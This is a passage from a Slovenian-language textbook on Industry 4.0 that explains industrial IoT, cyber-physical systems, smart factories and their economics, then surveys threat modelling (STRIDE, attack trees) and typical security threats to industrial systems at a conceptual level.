omenjenih priporočilih so bili izpostavljeni trije osnovni gradniki Industrije 4.0  – internet stvari, kiber-fizični 
sistemi (angl. cyber-physical systems) in pametne tovarne (angl. smart factories).  
 
4.2. Industrijski internet stvari 
Internet stvari kot del interneta prihodnosti, v katerega bo povezana cela množica senzorjev, strojev in naprav 
smo že podrobneje predstavili. Čeprav smo takrat kot eno od možnih področij uporabe omenili tudi 
gospodarstvo in posebej izpostavili kakšne prednosti njegova uporaba prinaša v industrijski proizvodnji, se v 
podrobnejši opis industrijskih sistemov nismo spuščali. Če kot izhodišče vzamemo tehnologije, ki smo jih že 
predstavili, lahko z njihovo uporabo dosežemo predvsem višjo učinkovitost proizvodnje ter njeno večjo 
prilagodljivost razmeram na trgu ter višjo kvaliteto samih izdelkov. To lahko storimo tako, da vanje vgradimo 
večje število senzorjev in aktuatorjev, s katerimi bo mogoče proizvodnji proces natančneje nadzorovati. 
Pametne stroje in naprave lahko med seboj povežemo, tako da bo mogoče podatke o proizvedenih količinah 
posredovati v sisteme za vodenje proizvodnje (angl. Manufacturing Execution Systems – MES) ter z njihovo 
pomočjo stalno zagotavljati zadostne zaloge surovin in sestavnih delov. Prav tako lahko podatke o 
proizvedenih izdelkih in delovanju strojev ter naprav analiziramo z uporabo orodij za analizo velikih količin 
podatkov ter v njih poskušamo odkriti vzroke za morebitne napake ali pa poiskati možnosti za nadaljnjo 
optimizacijo proizvodnje.  
 
Veliko boljše rezultate pa bomo v praksi dosegli, če bomo omenjene tehnologije interneta stvari uporabili tudi 
v samih izdelkih, ki jih proizvajamo. Takšen pameten izdelek bo že v prvi fazi industrijskega interneta stvari 
(angl. Industrial Internet of Things – IIoT) vselej mogoče enolično identificirati s čimer bo omogočena njegova 
stalna sledljivost v proizvodnem procesu, ki ga bo mogoče dinamično prilagajati. Še večje prednosti pa pri 
proizvodnji pametnih izdelkov lahko pričakujemo z razvojem miniaturizacije, ko bodo izdelki lahko aktivno 
sodelovali v proizvodnem procesu in se bodo vanje vgrajevali mikrosenzorji in mikroaktuatorji. V kontekstu 
Industrije 4.0 je torej internet stvari pomemben predvsem zaradi možnosti decentralizacije proizvodnega 
procesa.  
 
Povečevanje funkcionalnosti samih izdelkov bo pomembno vplivalo tudi na prometne tokove v  industrijskem 
internetu stvari. Če pri senzorskem omrežju kot tipičnem današnjem primeru interneta stvari večina 
podatkovnih tokov poteka od senzorjev proti robnim prehodom, ki izvajajo agregacijo podatkov, ali pa 
aplikacijskim strežnikom v oblakih, bo v industrijskem internetu stvari veliko več prenosa podatkov med 
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izdelki in stroji oziroma napravami, saj bodo ti podatki nujno potrebni za upravljanje same proizvodnje. 
Podobno kot za podatkovne tokove velja tudi za topologije omrežij v obeh primerih. Če so namreč ta v 
internetu stvari precej nepredvidljiva in jih vnaprej ni mogoče določiti, velja zaradi strožjih zahtev glede 
zanesljivosti in kvalitete prenosa podatkov povsem nasprotno za industrijski internet stvari.  
 
4.3. Kiber-fizični sistemi 
Kiber-fizični sistemi predstavljajo drugi pomemben gradnik Industrije 4.0. Kot že samo ime namiguje so to 
sistemi, ki so po eni strani sestavljeni iz fizičnih entitet (v našem primeru izdelkov, strojev, naprav, …) ter 
ustreznih procesnih in komunikacijskih zmogljivosti, ki omogočajo njihov nadzor in krmiljenje [38]. Za takšne 
sisteme so značilne [39]: 
 
 v posamezne fizične entitete vgrajene procesne in komunikacijske zmogljivosti, 
 visoka stopnja avtomatizacije, pri čemer se vodenje izvaja po načelu zaprte zanke, 
 zelo visoka stopnja medsebojne povezanosti elementov sistema, 
 možnost dinamičnega prilagajanja in reorganizacije entitet. 
 
Kiber-fizične sisteme danes že uporabljamo na mnogih gospodarskih področjih, od industrije, transporta pa 
do storitvenih dejavnosti. Ker pa imajo ti ravno v industriji zelo velik potencial, si podrobneje oglejmo 
arhitekturo takšnega sistema v primeru industrijske proizvodnje [40].    
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Slika 6: 5C model kiber-fizičnega sistema [40] 
 
Najnižji sloj v 5C modelu predstavlja sloj povezave (angl. smart connection level), ki omogoča pridobitev 
podatkov o stanju sistema bodisi neposredno iz senzorjev oziroma krmilnikov bodisi iz katerega od 
naprednejših sistemov (na primer MES, ERP, SCM, …). Podatki, pridobljeni na sloju povezave, se na sloju 
pretvorbe (angl. data-to-information conversion level) pretvorijo v informacije, s čimer se njihova vrednost v 
proizvodnem procesu bistveno poveča, saj ti omogočajo ugotavljanje dejanskega stanja proizvodnih 
zmogljivosti in določanje njihove pričakovane življenjske dobe ter napovedovanje odpovedi in okvar. Med 
analitičnimi orodji, ki jih pri tem najpogosteje uporabljamo, velja izpostaviti predvsem korelacijo podatkovnih 
nizov. Informacije, ki smo jih dobili za posamezni stroj oziroma napravo na sloju pretvorbe omogočajo 
izdelavo popolne virtualne kopije stroja oziroma naprave na kibernetskem sloju (angl. cyber level), ki 
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predstavlja najpomembnejši del 5C modela. Na ta način dobimo možnost primerjave delovanja posameznega 
stroja oziroma naprave z ostalimi stroji in napravami v časovnem prostoru. Sloj zaznavanja (angl. cognition 
level) ponuja uporabnikom možnost vpogleda v dogajanje v sistemu kot celoti z uporabo različnih grafičnih 
vmesnikov, sloj konfiguracije (angl. configuration level) pa dejansko spremembo delovanja kiber-fizičnega 
sistema.  
 
4.4. Pametne tovarne 
Pametne tovarne predstavljajo temeljni kamen Industrije 4.0 in kot take ostajajo ključne pri industrijski 
proizvodnji. Če te primerjamo s tovarnami kot jih poznamo danes, lahko hitro ugotovimo, da bo uvajanje 
načel Industrije 4.0 zahtevalo kar nekaj prilagoditev na poti k učinkovitejši in prilagodljivejši proizvodnji, ki bo 
hkrati omogočala doseganje višje kvalitete izdelkov. Ker bo v posameznih procesih potrebnih vse več različnih 
podatkov, se bodo močno spremenili podatkovni tokovi, ki so v današnjih piramidah funkcij vodenja strogo 
hierarhični – iz industrijskih krmilnikov se na primer podatki prenašajo v sisteme za upravljanje proizvodnje 
(MES), od tu pa naprej v poslovne informacijske sisteme (ERP), ki jih danes sestavljajo še sistemi za upravljanje 
odnosov s strankami (CRM) in oskrbovalnimi verigami (SCM). 
 
Slika 7: Piramida funkcij vodenja in podporni sistemi 
Na tehnološki ravni se bodo spremembe pokazale predvsem na bistveno večji uporabi sodobnih IT tehnologij 
v proizvodnji, od uporabe brezžičnih omrežij za identifikacijo in sledenje izdelkom v proizvodnem procesu, 
do uporabe naprednih algoritmov za napovedovanje življenjske dobe strojev in naprav. 
 
4.5. Ekonomski in poslovni vidiki 
Ekonomskih vidikov industrijskega interneta smo se dotaknili že pri predstavitvi združenja Industrija 4.0 kjer 
smo omenili velika pričakovanja tako iz industrije kot tudi državne uprave. Po eni od takšnih napovedi, ki so 
jo pripravili pri WEF [41], naj bi bili učinki uvajanja industrijskega interneta na kratek rok vidni predvsem pri 
znižanju stroškov vzdrževanja (angl. OPerating EXpense – OPEX), povečanju produktivnosti zaposlenih ter 
povečanju učinkovitosti virov. Veliko večje spremembe se v skladu z omenjeno napovedjo obetajo na dolgi 
rok. Možnost  spremljanja dejanske uporabe industrijskih izdelkov naj bi namreč bistveno spremenila 
obstoječe poslovne modele in omogočila razvoj ekonomije izida (angl. outcome economy). Potrošniki naj tako 
ne bi več kupovali avtomobilov ali gospodinjskih aparatov, pač pa le plačevali za prevoz, kuhanje, pečenje, 
hlajenje ali pranje perila oziroma posode. Omenjene spremembe ekonomskih modelov naj bi nazadnje 
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pripeljale tudi do korenite spremembe v sami industrijski proizvodnji, ki naj bi se spremenila iz množične 
proizvodnje enakih izdelkov v skrajno individualizirano proizvodnjo izdelkov, katerih lastnosti naj bi v 
popolnosti odgovarjale zahtevam potrošnikov (angl. pull economy). Industrijska proizvodnja naj bi na ta način 
postala tudi okoljsko sprejemljivejša, saj naj bi se s proizvodnjo izdelkov, za katere je trg vnaprej znan, 
zmanjšala količina odpadkov.   
 
Seveda pa omenjenih sprememb ne bo mogoče doseči brez izdatnih vlaganj v raziskave in razvoj novih rešitev 
s področja industrijskega interneta, njihovo standardizacijo ter testiranje v praksi. Po eni od takšnih ocen, ki jo 
je leta 2014 pripravila analitska hiša PwC in v katero je bilo vključenih 235 nemških proizvodnih podjetij iz 
različnih industrijskih panog [42], naj bi te investicije pomenile približno 50 % vseh investicij omenjenih 
podjetij in naj bi v povprečju znašale 3.3 % prihodkov. Na nivoju celotne industrije EU-28 to pomeni 140 
milijard EUR letno, pri čemer naj bi največji delež, 39 milijard EUR letno, odpadel na avtomobilsko industrijo. 
V skladu z isto oceno naj bi se zato v obdobju petih let učinkovitost v povprečju povečala za 18 %, stroški 
poslovanja pa naj bi se v povprečju znižali za 14 %. 
 
Uvedba industrijskega interneta seveda še zdaleč ne predstavlja le opisanih tehnoloških sprememb v 
industrijskih sistemih, ki bodo omogočile praktično neomejeno zbiranje in izmenjavo podatkov med 
posameznimi njihovimi gradniki. S poslovnega vidika ta prinaša možnost digitalizacije in boljše integracije 
celotnih vrednostnih verig po eni in izdelkov in storitev po drugi strani. Kot bomo videli kasneje, ko se bomo 
ukvarjali s pametnimi tovarnami, pri vrednostnih verigah v industrijski proizvodnji to pomeni bistveno 
enostavnejše in boljše sodelovanje z zunanjimi izvajalci in dobavitelji pri razvoju posameznega izdelka, njegovi 
proizvodnji, prodaji in distribuciji. 
 
Malce težji je odgovor na vprašanje kaj pomeni razvoj industrijskega interneta za konkurenčnost posamezne 
proizvodne organizacije. V skladu z eno od prevladujočih ekonomskih teorij glede konkurenčnosti, je na dolgi 
rok to mogoče doseči z znižanjem stroškov poslovanja ali diferenciacijo izdelkov oziroma storitev [43]. Da 
industrijski internet omogoča prvo, sedaj ne bi smelo več biti vprašanje, drugemu pa velja posvetiti malce več 
pozornosti. Diferenciacijo izdelkov v industrijski proizvodnji je v grobem mogoče doseči na dva načina – s 
spreminjanjem kvalitete (vertikalna diferenciacija) oziroma katere od drugih lastnosti (na primer barve, okusa, 
oblike, …) izdelka (horizontalna diferenciacija). Možnosti, ki jih glede diferenciacije ponuja industrijski 
internet, so praktično neomejene. Uporaba novih proizvodnih tehnologij, visoka stopnja avtomatizacije 
proizvodnih procesov ter posledično visoka prilagodljivost proizvodnje ter možnost proizvodnje izdelkov, ki 
bodo bistveno bolje ustrezali pričakovanjem in željam potrošnikov, bodo proizvodnim podjetjem ponudila 
nove poslovne priložnosti, le tistim, ki jih bodo znali izrabiti, pa bodo zagotovila dolgoročno konkurenčno 
prednost. 
 
Enako velja seveda tudi za države oziroma nacionalna gospodarstva. Po eni od raziskav naj bi namreč evropsko 
gospodarstvo (EU-17) z uspešno uvedbo načel Industrije 4.0 v prakso oziroma digitalno transformacijo 
industrije do leta 2025 povečalo dodano vrednost za 1250 milijard EUR oziroma le-to zmanjšalo za 605 
milijard EUR v kolikor bi bile pri tem bolj uspešne druge države [44]. 
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5. VARNOSTNA TVEGANJA, RANLJIVOSTI, GROŽNJE 
IN NJIHOVO MODELIRANJE 
Kot smo videli, pomenita vse večja stopnja medsebojne povezanosti industrijskih omrežij in njihovo 
povezovanje s poslovnimi omrežji in internetom ter uporaba standardnih IT rešitev, precejšnje tveganje za 
njihovo zanesljivo in varno delovanje. Evropska agencija za omrežno in informacijsko varnost ENISA tako v 
svojem letnem poročilu za leto 2015 ugotavlja, da se bo ogroženost kiber-fizičnih sistemov in interneta stvari 
v prihodnje povečevala pri vseh desetih analiziranih grožnjah [45]. Še preden pa se posvetimo podrobni 
predstavitvi posameznih groženj, s katerimi se bomo srečevali v industrijskih internetnih sistemih, poskusimo 
pojasniti pojma ranljivosti in varnostnega tveganja, saj prvega pogosto zamenjujemo z grožnjo, drugi pa je zelo 
pomemben za celovito obravnavo, saj je pogosto podlaga za sprejem ukrepov za zmanjšanje izpostavljenosti 
posameznim grožnjam. 
 
V skladu s standardom ISO27005, enim najpogosteje uporabljenih standardov na področju informacijske 
varnosti, je ranljivost (angl. vulnerability) posameznega vira ali sistema kot celote vsakršna pomanjkljivost, 
katere zloraba ima za posledico uresničitev grožnje (angl. threat). Ranljivosti so tako v praksi najpogosteje 
posledica napak pri načrtovanju (na primer napačna določitev varnostnih con in posledično neustrezna 
segmentacija), implementaciji (na primer napak v kodi, do katerih je prišlo zaradi neizkušenosti razvijalcev ali 
pa neustreznih verifikacijskih postopkov) ali upravljanju posameznih sistemov. S tega vidika je torej varnostno 
tveganje (angl. security risk) mogoče razumeti kot kvalitativno oceno posamezne grožnje, pri čemer je ta 
odvisna tako od verjetnosti kot tudi posledic uresničitve posamezne grožnje. Pri oceni varnostnega tveganja 
se v praksi pogosto poslužujemo spodnje matrike  
 
 Posledice 
velike srednje majhne 
 
Verjetnost 
velika veliko veliko srednje 
srednja veliko srednje srednje 
majhna srednje srednje majhno 
Slika 8: Matrika varnostnih tveganj 
Kot bomo videli kasneje, se z varnostnimi tveganji srečujemo tudi pri varnostnih pregledih (angl. vulnerability 
assessment), pri katerih poskušamo identificirati posamezne grožnje, jih ovrednotiti ter pripraviti priporočila 
za zmanjšanje varnostnih tveganj, ki jih te prinašajo. 
 
5.1. Modeliranje groženj 
Modeliranje groženj predstavlja prvi korak pri razvoju ali implementaciji katerekoli varnostne rešitve [46], saj 
kot tako zahteva analizo ranljivosti informacijskega sistema kot celote ter načina in verjetnosti njihove zlorabe. 
V kontekstu industrijskih sistemov je pri modeliranju groženj tako potrebno poiskati odgovore na vprašanja, 
kot na primer ali je mogoče zaustaviti proizvodno linijo oziroma celotni proizvodni obrat in na kakšen način 
je to mogoče storiti, je pri tem nujen fizični dostop do te ali je to mogoče storiti na daljavo, je mogoče pridobiti 
podatke o načinu izdelave posameznega izdelka ali njegovi sestavi, ...   
 
Glede na način modeliranja groženj lahko samo analizo izvedemo na več načinov, v praksi pa najpogosteje v 
središče obravnave postavimo napadalca (angl. attacker-centric), obravnavane vire (angl. asset-centric) oziroma 
sisteme (angl. system/architecture-centric). Pri prvem poskušamo odgovoriti na vprašanji kateri so ključni cilji 
morebitnega napadalca in na kakšen način bi bilo mogoče omenjene cilje doseči, pri drugih dveh izhajamo iz 
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ranljivosti virov oziroma sistemov. Ob tem verjetno ni potrebno posebej izpostavljati, da je modeliranje 
groženj najučinkovitejši način za povečanje varnosti izbranega sistema kadar se tega lotimo v začetnih fazah 
razvoja ali implementacije, saj nam to daje dovolj časa za odpravo morebitnih ranljivosti, prav tako pa je 
odprava praviloma cenejša kot v kasnejših fazah. 
 
Standardiziranih načinov modeliranja groženj, ki bi bili uporabni pri analizi varnosti informacijskih sistemov v 
najširšem pomenu besede, poznamo danes kar nekaj, med njimi pa je verjetno najbolj priljubljen Microsoftov 
STRIDE [47]. Ključni cilj pri njegovem razvoju je bilo izboljšanje varnosti aplikacij z vključitvijo varnostnih 
kontrol v vsako fazo njihovega življenjskega cikla, od določitve uporabniških in sistemskih zahtev do samega 
razvoja, implementacije in vzdrževanja. Omenjeni model vključuje sledeče grožnje: 
 
 Kraja identitete (angl. spoofing identity), pri kateri napadalec prevzame identiteto poljubne strani, 
ki je vključena v izmenjavo podatkov. V najenostavnejšem primeru to na primer lahko pomeni, da 
je napadalec prevzel MAC ali IP naslov katerega od vozlišč, v bolj zahtevnih primerih pa je na 
primer uspel prestreči uporabniško ime in geslo oziroma piškotek, ki se uporabljajo za avtentikacijo 
naprav ali uporabnikov. 
 Spreminjanje podatkov (angl. tampering with data), do katerih lahko pride tako pri prenosu 
podatkov kot tudi ko so ti shranjeni v podatkovni bazi ali na datotečnem sistemu. 
 Zanikanje (angl. repudiation). 
 Razkritje podatkov (angl. information disclosure), pri kateri napadalec pridobi dostop do podatkov, 
ki naj mu ne bi bili dostopni. 
 Onemogočanje delovanja (angl. denial of service – DoS), pri kateri napadalec na kakršenkoli način 
preprečuje izvajanje storitve. Preprečevanje delovanja je v večini primerov povezano s 
preobremenitvijo vozlišč ali prenosnega omrežja samega. 
 Povečanje pravic (angl. elevation of privilege). V praksi najpogostejši primer takšne grožnje 
predstavlja povečanje uporabniških pravic na administratorske. 
 
Žal pa je uporabnost modela STRIDE za kiber-fizične sisteme precej omejena, saj ta obravnava pretežno 
grožnje povezane s programsko opremo, kiber-fizične sisteme pa sestavlja še cela vrsta takšne in drugačne 
strojne opreme. Bolj splošen, a še vedno praktično uporaben način analize varnosti informacijskih sistemov, 
ponujajo drevesa napadov (angl. attack trees) [48], ki temeljijo na uporabi usmerjenih grafov. Pri takšnih 
drevesih izvorno vozlišče vselej predstavlja cilj napadalca, ostala vozlišča pa možne načine za njegovo 
izpolnitev. Bolj izpopolnjena različica dreves napadov, drevesa napadov in obrambe (angl. attack-defense trees) 
[49], vsebuje poleg mehanizmov, ki jih uporablja morebitni napadalec, tudi mehanizme, ki so namenjeni zaščiti 
izbranega sistema. 
 
 
 
 
 
 
 
 
 
 
 
 
Slika 9: Primer drevesa napada [48] 
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Zaključimo torej lahko, da sistematičnega in splošno sprejetega načina modeliranja groženj v industrijskih 
internetnih sistemih danes žal še nimamo. Zaradi tega bomo v nadaljevanju predstavili tipične grožnje v takšnih 
sistemih, pri tem pa izhajali iz perspektive morebitnega napadalca oziroma njegovih ciljev.  
 
5.2. Okužba z zlonamerno programsko opremo 
Okužba z zlonamerno programsko opremo (virusi, črvi, trojanci, …) predstavlja po nekaterih raziskavah s 
področja varnosti največjo grožnjo današnjim industrijskim sistemom [50], saj so te v praksi pogoste, zloraba 
ranljivosti, ki so s tem povezane, pa je relativno enostavna. Razlogov za tako veliko varnostno tveganje, ki iz 
tega izhaja, je več, med njimi pa so najpomembnejši sledeči: 
 
 Neredno posodabljanje programske opreme – v sodobnih industrijskih sistemih se vse pogosteje 
uporablja programska oprema (operacijski sistemi, spletni strežniki, podatkovne baze, …), ki jo 
poznamo iz poslovnih okolij in katera je predvsem na račun pogostosti uporabe zanimiva za celo 
vrsto potencialnih napadalcev. Nove in nove ranljivosti v omenjeni programski opremi raziskovalci 
odkrivajo vsakodnevno, prav tako pa proizvajalci zanje pripravljajo popravke. Če pa se v poslovnih 
okoljih omenjeni popravki nameščajo redno, to za industrijska okolja ne velja, saj si izpadov 
delovanja, ki so s tem navadno povezani, ne moremo privoščiti, oziroma bi bila investicija v 
preverjanje skladnosti popravkov z drugo programsko opremo enostavno prevelika.  
 Neupoštevanje priporočil dobre prakse pri razvoju in neustrezna verifikacija lastnih programskih 
rešitev – v industrijskih okoljih se pogosto uporabljajo rešitve, ki ne vsebujejo nobenih varnostnih 
mehanizmov (na primer preverjanja identitete, ali zaščite podatkov pred spreminjanjem pri prenosu, 
…) oziroma pri njihovem razvoju niso bila upoštevana priporočila dobre prakse (na primer 
validacija vhodnih parametrov, …). Da bi se znižali stroške razvoja takšnih rešitev, se prav tako 
redko izvajajo njihovi varnostni pregledi. 
 Redka uporaba antivirusne programske opreme – v industrijskih sistemih je antivirusna programska 
oprema zelo redko nameščena na končnih točkah (delovne postaje, strežniki, krmilniki, …), saj je 
po prepričanju mnogih njena uporaba zaradi morebitnih napačnih zaznav in potrebe po stalnem 
dostopu do interneta za osveževanje vzorcev zlonamerne programske opreme preveč tvegana. Če 
je mogoče z ustrezno segmentacijo in nadzorom prometa med industrijskim in poslovnim 
omrežjem zmanjšati tveganje za okužbo z zlonamerno programsko opremo, ki se širi preko 
omrežja, je na tak način nemogoče preprečiti okužbo pri uporabi različnih prenosnih medijev (na 
primer CR-ROM ali USB ključev). 
 
Glede na to, da se bo število naprav v industrijskih internetnih sistemih v primerjavi z današnjimi sistemi 
povečalo, prav tako pa se bo povečala raznolikost prometnih tokov v njih, lahko predvidevamo, da bo okužba 
z zlonamerno programsko opremo tudi v prihodnje pomenila veliko varnostno tveganje. 
 
5.3. Nepooblaščen dostop 
Okužba z zlonamerno programsko opremo je velikokrat le vmesna faza na poti k pridobitvi nepooblaščenega 
dostopa do sistema, aplikacije ali podatkov v industrijskem internetnem sistemu. Nepooblaščen dostop v 
industrijskih internetnih sistemih je najpogosteje posledica neustrezne zaščite sistemov, ki so namenjeni 
oddaljenemu dostopu in vzdrževanju, uporabi neustreznih mehanizmov za avtentikacijo (na primer privzetih 
gesel ali gesel neustrezne dolžine in kompleksnosti), v nekaterih primerih pa je povezan tudi z neustrezno 
fizično ali logično zaščito posameznih varnostnih con. V praksi se velikokrat kot posebej problematične 
pokažejo aktivne mrežne vtičnice v prostorih, do katerih dostop ni nadzorovan oziroma omejen, v primeru 
segmentacije omrežij pa neustrezno prepoznavanje naprav, ki so vanje priključena. Kot bomo videli kasneje 
pri predstavitvi mehanizmov za zmanjšanje varnostnih tveganj, je preprečevanje nepooblaščenega dostopa v 
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takšnih okoljih precej težavno, saj le redke naprave omogočajo uporabo mehanizmov za njihovo avtentikacijo. 
Svojevrsten problem, predvsem v manjših organizacijah, ki v zagotavljanje varnosti tako na tehničnem kot tudi 
organizacijskem področju ne vlagajo ustreznih sredstev, predstavljajo tudi nezaščitena brezžična omrežja. 
 
Podobno kot v poslovnih okoljih je tudi v industrijskih internetnih sistemih nepooblaščen dostop lahko 
posledica napak pri načrtovanju avtorizacijskega modela ali napak v programski opremi. Da bi namreč 
zmanjšali možnost napačne uporabe proizvodnih sistemov in zagotovili ustrezni nivo varnosti se operaterjem, 
ki s takšnimi sistemi upravljajo, vselej dodeljujejo najmanjše potrebne pravice, ki jim še omogočajo učinkovito 
delo. Nepooblaščen dostop v tem kontekstu pomeni možnost vsakršnega spreminjanja delovanja stroja ali 
naprave na način, ki pri običajnem delu ni potreben oziroma zaželen. Če kot primer vzamemo tipičen sodobni 
industrijski krmilnik, na katerem teče operacijski sistem Windows ali Linux, potem bi to na primer pomenilo 
možnost zaustavitve HMI vmesnika in dostop do samega operacijskega sistema. 
 
Kot kažejo javno dostopni podatki je danes na internet priključenih kar nekaj industrijskih sistemov. 
 
 
Slika 10: Industrijski sistemi, neposredno dostopni iz interneta [51] 
Industrijski internetni sistemi uporabljajo predvsem za shranjevanje in analizo podatkov, manj pa za nadzor in 
krmiljenje procesov, storitve v oblaku. Te so lahko realizirane v zasebnem ali javnem oblaku, pri hibridnih 
rešitvah pa je mogoča tudi kombinacija obeh. Predvsem v primeru slednjih je tveganje za nepooblaščen dostop 
veliko večje kot pri uporabi zasebnega oblaka, saj se za prenos, obdelavo in shranjevanje podatkov uporablja 
infrastruktura, na katero ima lastnik samega industrijskega internetnega sistema le malo vpliva. Kot bomo videli 
kasneje, je varnostno tveganje, ki izhaja iz takšnega načina izvajanja storitev, mogoče omejiti z izvajanjem 
neodvisnih varnostnih pregledov in ustrezno certifikacijo sistemov, ki te storitve izvajajo. 
 
5.4. Napadi iz poslovnih omrežij in notranje grožnje 
Podobno kot v poslovnih omrežjih predstavljajo tudi v industrijskih omrežjih notranji napadalci izredno veliko 
grožnjo, saj imajo za razliko od zunanjih napadalcev dostop do cele vrste sistemov. Če govorimo o tehničnem 
osebju (strojni, elektro, kemijski inženirji, …), imajo ti poleg omenjenega tudi dober vpogled v same 
industrijske procese in mehanizme, ki so uporabljeni za njihovo avtomatizacijo. Najpogostejši pomanjkljivosti, 
ki povečujeta tveganje za napade iz poslovnih omrežij, sta neustrezna segmentacija oziroma ločitev poslovnih 
in industrijskih omrežij ter neustrezen nadzor dostopa do njihovih posameznih segmentov.  
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Čeprav se v skladu z dobro prakso pri dodeljevanju pravic zaposlenim in zunanjim partnerjem, kot bomo videli 
kasneje, držimo načela minimalnih potrebnih pravic (angl. least privilege) in delitve vlog (angl. separation of 
duties) ter zaposlene in zunanje partnerje varnostno pregledamo pred dodelitvijo pravic, je zmanjšanje 
tveganja, ki izhaja iz teh, zelo težavno. 
 
5.5. Oviranje in preprečevanje delovanja, sabotaža 
Kot smo že večkrat omenili, se razpoložljivosti v industrijskih okoljih velikokrat namenja bistveno večja 
pozornost kot zasebnosti, zaradi česar so ta ranljiva za oviranje oziroma preprečevanje delovanja. 
Najenostavnejši takšen primer je preobremenitev omrežnih gradnikov ali strežnikov s poplavljanjem, pri čemer 
napadalec generira tako veliko količino prometa, da ga ti ne morejo obdelati oziroma nadzor delovanja v 
realnem času ni več mogoč. Verjetno ni potrebno posebej izpostavljati, da ima oviranje delovanja varnostnih 
sistemov lahko katastrofalne posledice. 
 
Delovanja industrijskih sistemov pa ni mogoče ovirati samo s preobremenitvijo mrežne infrastrukture ali 
strežnikov. Ker pri razvoju velike večine programov, ki izvajajo nadzor in krmiljenje industrijskih procesov, 
ter HMI vmesnikov zaradi takšnih ali drugačnih razlogov niso bila upoštevana priporočila dobre prakse glede 
varnosti, ti pogosto ne izvajajo stroge validacije vhodnih podatkov, tako da je pri njih pogosto prelivanje 
pomnilnika (angl. buffer overflow). Omenjena ranljivost ima seveda lahko tudi druge posledice, saj je pri 
natančnejšem poznavanju strukture pomnilnika na ta način mogoče v njem zamenjati tudi geslo za dostop do 
samega sistema ali aplikacije. 
 
Sabotaža industrijskega sistema, pri kateri gre za skrajno obliko preprečevanja delovanja, je zelo pogosta 
grožnja kadar gre za kritično infrastrukturo in kadar so napadalci povezani z državnimi službami ali 
terorističnimi skupinami. Primeri takšne grožnje so na primer virusi oziroma črvi Stuxnet (2010), Flame (2102), 
Gauss (2012) in DuQu (2011). 
 
5.6. Vohunjenje in kraja intelektualne lastnine 
Industrijski sistemi so pogosto uporabljeni za avtomatizacijo proizvodnih procesov, v razvoj katerih so bila 
vložena izdatna finančna sredstva in kot taka predstavljajo precejšnje poslovno premoženje podjetij. V tem 
smislu predstavljata eno večjih poslovnih groženj v industrijskih sistemih vohunjenje in z njim povezana kraja 
intelektualne lastnine. Pri napadih tega tipa poskuša napadalec z zlorabo najrazličnejših tehničnih in 
organizacijskih pomanjkljivosti (pogosto tudi s socialnim inženiringom in nezadovoljnimi zaposlenimi), 
pridobiti podatke o samih recepturah, formulah in proizvodnih procesih ter napravah, strojih in surovinah, ki 
se pri teh uporabljajo. Motivacija za takšno početje je navadno čisto ekonomska, saj so sredstva, potrebna za 
izvedbo takšnih napadov, navadno relativno majhna v primerjavi s tržno vrednostjo pridobljenih podatkov.  
 
Kraja intelektualne lastnine v primeru industrijskih sistemov pa seveda ni zgolj zunanja grožnja, pri kateri bi 
lahko bili udeležena konkurenčna podjetja ali kriminalne združbe, ki bi lahko pridobljene informacije tem 
prodala. Pogosto je v praksi potrebno industrijske sisteme pred krajo intelektualne lastnine zavarovati tudi v 
primeru, ko so ti dobavljeni kupcu oziroma naročniku.  
 
5.7. Prestrezanje in spreminjanje prometa 
Velika večina protokolov, ki se uporabljajo za prenos podatkov v industrijskih omrežjih, ne omogoča 
zagotavljanja zasebnosti ali pa preverjanja integritete prenesenih podatkov, tako da so ti ranljivi na prestrezanje 
in spreminjanje prometa. Če je v poslovnih omrežjih prestrezanje prometa navadno povezano s krajo 
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identitete, so posledice spreminjanja prometa v industrijskih omrežjih lahko veliko hujše, še posebej kadar gre 
za spremembo ključnih podatkov v posameznem procesu. 
 
Tipičen primer takšnega napada v industrijskem internetnem sistemu, ki je sam po sebi močno decentraliziran 
in posledično kot tak močno odvisen od varnosti in zanesljivosti prenosnega omrežja, katero je uporabljeno 
za povezavo njegovih posameznih delov, predstavlja sprememba prometa med industrijskim krmilnikom, 
kateri je zadolžen za vodenje in nadzor samega industrijskega procesa, ter HMI vmesnikom, ki ga uporabljajo 
operaterji. Ker velika večina današnjih HMI vmesnikov zaradi relativno enostavne prenosljivosti in možnosti 
uporabe na mobilnih napravah temelji na uporabi spletnih storitev, so ti podvrženi popolnoma enakim 
grožnjam kot v poslovnih okoljih, pa naj gre za kraje seje ali spreminjanje podatkov pri prenosu.  
 
Seveda pa to še zdaleč ni edino mesto, na katerem je v industrijskem internetnem sistemu mogoče prestrezati 
in spreminjati promet. Zaradi velikosti posameznih strojev in naprav ali pa njihovega enostavnejšega krmiljenja, 
se sami krmilni sistemi v nekaterih primerih izvedejo porazdeljeno, kar z drugimi besedami pomeni, da se za 
povezavo med njimi uporabijo Ethernet oziroma IP omrežja. Prestrezanje in spreminjanje prometa, ki v tem 
primeru ni šifriran oziroma elektronsko podpisan, je relativno enostavno, saj le redka stikala, ki jih uporabljamo 
v industrijskih okoljih, omogočajo zaščito pred zastrupljanjem ARP tabel (angl. ARP cache poisoning) in 
preusmerjanjem prometa. Prav nič zahtevnejše ni v praksi prestrezanje in spreminjanje prometa na najnižjem 
sloju avtomatizacijske piramide, na področnem nivoju, saj je edini varnostni mehanizem, ki takšno početje 
preprečuje, fizična omejitev dostopa do samih krmilnikov oziroma omrežij. Tako starejši serijski protokoli (na 
primer RS-232, RS-485 ali PROFIBUS), kot tudi novejše različice protokolov industrijskega Etherneta (na 
primer PROFINET ali EtherCAT), namreč same po sebi ne ponujajo nobenih mehanizmov za zagotavljanje 
zasebnosti in celovitosti prenašanega prometa. 
 
Industrijski internetni sistemi vsebujejo še eno pomembno komponento, ki je v večini današnjih industrijskih 
sistemov ne poznamo, to je same izdelke. Kot smo videli pri predstavitvi interneta stvari, bodo ti izdelki 
uporabljali pretežno brezžična omrežja za izmenjavo podatkov s stroji in napravami, sistemi upravljanja 
proizvodnje (MES) in poslovnimi informacijskimi sistemi (ERP) ter drugimi storitvami v javnih ali zasebnih 
oblakih. Ker je zaradi narave razširjanja elektro-magnetnega valovanja v praksi skoraj nemogoče tega fizično 
omejiti na proizvodne prostore, predstavlja uporaba neustrezno zaščitenih brezžičnih omrežij dodatno 
tveganje tako za nepooblaščen dostop kot tudi prestrezanje in spreminjanje prometa pri prenosu. Omenjenega 
so se seveda dobro zavedali tudi razvijalci, zato so vanje vključili nekatere varnostne mehanizme.  
 
Protokol IEEE 802.15.4 smo prvič srečali pri predstavitvi brezžičnih tehnologij, povezanih z internetom stvari. 
Takrat smo povedali, da gre za protokol fizičnega in povezavnega sloja TCP/IP protokolnega sklada, ki 
